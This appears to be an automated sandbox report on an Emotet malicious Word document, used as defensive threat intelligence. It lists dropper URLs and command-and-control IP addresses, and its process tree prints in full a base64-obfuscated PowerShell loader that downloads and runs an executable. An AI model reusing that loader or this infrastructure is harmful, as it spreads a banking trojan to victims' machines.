Analysis

  • max time kernel
    139s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    19/08/2020, 10:48

General

  • Target
    emotet_e3_6ac85aacd350fcddb10bd614ae4aa757cbc2d4c2ca9b9ece9b22c8db1ada11db_2020-08-19__104716._doc.doc
  • Size 199KB
  • Sample200819-n2pj5xpwce
  • SHA256 6ac85aacd350fcddb10bd614ae4aa757cbc2d4c2ca9b9ece9b22c8db1ada11db
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://www.arkaneod.com/q1nn7k21w463/

  • exe.dropper

    http://archabits.com/content/gcUPYiHZ/

  • exe.dropper

    http://binarystationary.com/cgi-bin/XXPUJqn/

  • exe.dropper

    https://mewolters.nl/tmp/Y5zkijmonrvx4707593/

  • exe.dropper

    http://abcxyzsuperstore.com/temp/2ruqzzb6sx6774986/

  • exe.dropper

    http://www.ashraebangalore.org/wp-admin/R3Vc7f4fhhv56933/

  • exe.dropper

    http://binaryprintingsolutions.co.in/cgi-bin/OFH/

Extracted

Family
  • emotet

C2
  • 112.78.142.170:80

  • 178.128.14.92:8080

  • 178.238.232.46:443

  • 185.142.236.163:443

  • 192.210.217.94:8080

  • 192.241.220.183:8080

  • 105.209.235.113:8080

  • 182.187.139.200:8080

  • 188.0.135.237:80

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 202.5.47.71:80

  • 81.17.93.134:80

  • 192.163.221.191:8080

  • 97.104.107.190:80

  • 201.235.10.215:80

  • 181.114.114.203:80

  • 51.38.201.19:7080

  • 46.32.229.152:8080

  • 177.144.130.105:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 5 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_6ac85aacd350fcddb10bd614ae4aa757cbc2d4c2ca9b9ece9b22c8db1ada11db_2020-08-19__104716._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3952
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABJAGcAcABnAGQAXwA4AD0AKAAnAEgANwB1ACcAKwAnAHMAdgBxACcAKwAnAG0AJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBQAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAGAAVQBgAFIASQBUAFkAUABSAG8AYABUAE8AYABDAG8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIALAAnACsAJwAgAHQAbAAnACsAJwBzADEAMQAsACcAKwAnACAAJwArACcAdAAnACsAJwBsAHMAJwApADsAJABKAHYAdAB5AG0AbQBsACAAPQAgACgAJwBNAGYAawBqACcAKwAnADkANQBuAHQAJwApADsAJABLADUANQBlAGIAZwBvAD0AKAAnAEcAJwArACcAagB2AGQAdwBfAGEAJwApADsAJABBAHUAXwBpAHkANwBkAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAJwArACcAfQBPACcAKwAnAGYAZgBpAGMAZQAyACcAKwAnADAAMQA5AHsAMAAnACsAJwB9ACcAKQAgAC0ARgAgAFsAQwBoAGEAUgBdADkAMgApACsAJABKAHYAdAB5AG0AbQBsACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABIADAANABsAHcAdQA5AD0AKAAnAFYAZgBoAGMAYwA2ACcAKwAnAHQAJwApADsAJABGAGsAaQBsADQAOABiAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBCAGMATABpAGUAbgB0ADsAJABLADYAcwBoAHAAeAAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKwAnAC8AdwB3AHcAJwArACcALgBhAHIAawAnACsAJwBhAG4AZQBvACcAKwAnAGQALgBjAG8AbQAnACsAJwAvAHEAMQBuAG4ANwBrADIAMQAnACsAJwB3ADQANgAzAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGEAcgAnACsAJwBjAGgAYQBiAGkAdAAnACsAJwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAG8AbgB0ACcAKwAnAGUAbgB0AC8AZwBjACcAKwAnAFUAUABZAGkASABaACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGIAJwArACcAaQBuACcAKwAnAGEAcgAnACsAJwB5AHMAdABhAHQAaQBvAG4AJwArACcAYQByAHkAJwArACcALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBYAFgAUABVAEoAcQBuAC8AKgBoACcAKwAnAHQAdABwACcAKwAnAHMAOgAvAC8AbQBlAHcAJwArACcAbwBsAHQAZQAnACsAJwByAHMALgBuAGwALwB0AG0AcAAvAFkAJwArACcANQB6AGsAaQBqAG0AbwBuAHIAdgB4ADQANwAwACcAKwAnADcANQA5ADMALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AYQBiAGMAeAB5AHoAcwB1ACcAKwAnAHAAZQByAHMAdABvAHIAZQAuACcAKwAnAGMAbwBtAC8AdABlAG0AcAAnACsAJwAvADIAcgB1AHEAegB6AGIAJwArACcANgBzAHgANgA3ADcAJwArACcANAAnACsAJwA5ADgAJwArACcANgAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwB3AHcAdwAuAGEAcwBoAHIAYQBlAGIAYQBuACcAKwAnAGcAYQBsAG8AJwArACcAcgBlACcAKwAnAC4AbwByACcAKwAnAGcALwB3AHAALQBhACcAKwAnAGQAbQBpAG4ALwBSADMAVgBjADcAZgAnACsAJwA0AGYAJwArACcAaABoAHYANQA2ADkAMwAzAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGIAaQBuAGEAcgB5AHAAcgBpACcAKwAnAG4AdABpAG4AZwBzAG8AbAB1AHQAaQAnACsAJwBvAG4AJwArACcAcwAuAGMAbwAuAGkAbgAvAGMAZwBpAC0AYgAnACsAJwBpAG4ALwBPAEYASAAvACcAKQAuACIAcwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAHAAegBmAGMAdwBpAD0AKAAnAEUANABtACcAKwAnAGcAMwB3ACcAKwAnADcAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABhAF8AdgAyAHMANAAgAGkAbgAgACQASwA2AHMAaABwAHgAMQApAHsAdAByAHkAewAkAEYAawBpAGwANAA4AGIALgAiAEQAbwBgAHcATgBgAEwATwBhAEQAZgBJAGAATABlACIAKAAkAFQAYQBfAHYAMgBzADQALAAgACQAQQB1AF8AaQB5ADcAZAApADsAJABHAHcAeQA2AHYAaABmAD0AKAAnAFcAdgBqACcAKwAnADcAMABtACcAKwAnAHgAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAEEAdQBfAGkAeQA3AGQAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAyADcAOAA2ADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQQB1AF8AaQB5ADcAZAApADsAJABUAGgAZwBrADcAdQB5AD0AKAAnAEMAZwAnACsAJwA0AGgAMwByAGoAJwApADsAYgByAGUAYQBrADsAJABBADQAcQBoAHkAaQB6AD0AKAAnAFYAawAnACsAJwByAG0AbQAyADUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAHEAYQBvAHoANwBvAD0AKAAnAFoAZQBzACcAKwAnAGIAbQB4ACcAKwAnAGUAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Mfkj95nt.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Mfkj95nt.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\SysWOW64\MinstoreEvents\Windows.System.Profile.RetailInfo.exe
        "C:\Windows\SysWOW64\MinstoreEvents\Windows.System.Profile.RetailInfo.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3108
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1004 -s 304
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1676

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1004-16-0x0000000000A10000-0x0000000000A1C000-memory.dmp

        memory/1676-22-0x0000000005AE0000-0x0000000005AE1000-memory.dmp

        memory/1676-20-0x0000000005120000-0x0000000005121000-memory.dmp

        memory/2044-11-0x0000021644650000-0x0000021644651000-memory.dmp

        memory/2044-12-0x0000021644800000-0x0000021644801000-memory.dmp

        memory/2044-10-0x00007FFE01920000-0x00007FFE0230C000-memory.dmp

        memory/3108-19-0x00000000008D0000-0x00000000008DC000-memory.dmp

        memory/3952-0-0x00007FFE08FD0000-0x00007FFE09696000-memory.dmp

        memory/3952-4-0x0000019FDDD32000-0x0000019FDDD35000-memory.dmp